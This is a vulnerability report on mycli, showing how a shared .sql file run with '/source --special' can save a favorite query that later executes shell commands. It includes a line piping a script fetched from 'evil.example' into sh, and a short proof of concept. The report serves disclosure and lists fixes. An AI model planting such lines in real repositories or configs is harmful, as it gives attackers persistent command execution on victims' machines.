| 설명 |
1、Mechanism:
mycli/packages/special/source.py defines the --special whitelist:
SOURCE_SAFE_SPECIAL_COMMANDS = frozenset({
'connect', 'fd', 'fs', 'help', 'l', 'nowarnings', 'ping',
'prompt', 'redirectformat', 'rehash', 'status', 'tableformat',
'timing', 'use', 'warnings', 'dt',
})
SOURCE_SAFE_SUBCOMMANDS = {
'config': frozenset({'help', 'get', 'search'}),
'dsn': frozenset({'help', 'list', 'show', 'save', 'delete'}),
'favorite': frozenset({'help', 'list', 'reload', 'run', 'save', 'delete'}),
}
def source_special_command_is_safe(query: str) -> bool:
...
if command == 'f':
return not arg or _favorite_source_command_is_safe(arg) # execute-side gate
if command in ('fd', 'fs'):
return True # write-side: no gate
...
The asymmetry:
Execute side (/f, favorite run): _favorite_source_command_is_safe calls expand_favorite_query (Jinja render + positional substitution), then splits with sqlparse.split and rejects any statement recognized as a special command. This blocks a source file from directly running \system etc.
Write side (/fs, /fd, favorite save, favorite delete, favorite reload, dsn save, dsn delete): no argument inspection at all — unconditionally allowed.
Changelog line 1516 confirms this is intended behavior for favorites: “Let favorite queries contain special commands.” — i.e., a favorite may contain \system, and an interactive /f will dispatch it.
2、Attack chain
Attacker commits a .sql file to a shared team repository (migration script, init script, CI template — common patterns):
/fs backdoor system curl http://evil.example/x.sh|sh
SELECT 1;
Victim runs:
/source --special ./shared_init.sql
fs passes the whitelist → FavoriteQueries.instance.save('backdoor', 'system curl ...') → permanently written to the [favorite_queries] section of ~/.myclirc (via _config_for_write).
In any later session (interactive REPL, another source file, CI step):
/f backdoor
→ execute_favorite_query → special_execute('system curl ...') → arbitrary local command execution.
The same primitive extends to:
/dsn save: persists the current connection (including ssh_jump, vault_*, kubectl_resource and other KNOWN_DSN_QUERY_PARAMS) into [alias_dsn], staging a tunnel to an attacker-controlled bastion for the next connect.
/favorite reload: re-reads shared_favorites_file, letting the attacker re-inject entries.
3、Preconditions / impact
Precondition: victim has executed a --special source file at least once (routine in team workflows).
Impact: persistent local arbitrary command execution + poisoning of subsequent connections (SSRF / credential-exfiltration bastion).
Stealth: the write just produces a foreign favorite entry in ~/.myclirc; users rarely audit that file. It only fires on the next /f / favorite run.
4、Reproduction (PoC)
-- evil.sql (committed by attacker to a shared repo)
/fs backdoor system id
SELECT 1;
# victim executes
/source --special ./evil.sql
# ~/.myclirc now contains [favorite_queries] backdoor = "system id"
/f backdoor # arbitrary command execution
5、Recommended fixes
Remove fs, fd, favorite save, favorite delete, favorite reload, dsn save, dsn delete from the --special whitelist; or
Apply to fs / favorite save the same post-render check used by /f (no special commands, no $>/$| in the rendered output);
Restrict dsn save to host/port/socket/db/user/charset-class parameters only; refuse to persist ssh_jump, vault_*, kubectl_resource, boundary_id, init-command, post_redirect_command;
Default favorite reload off, or gate it behind an explicit flag. |
|---|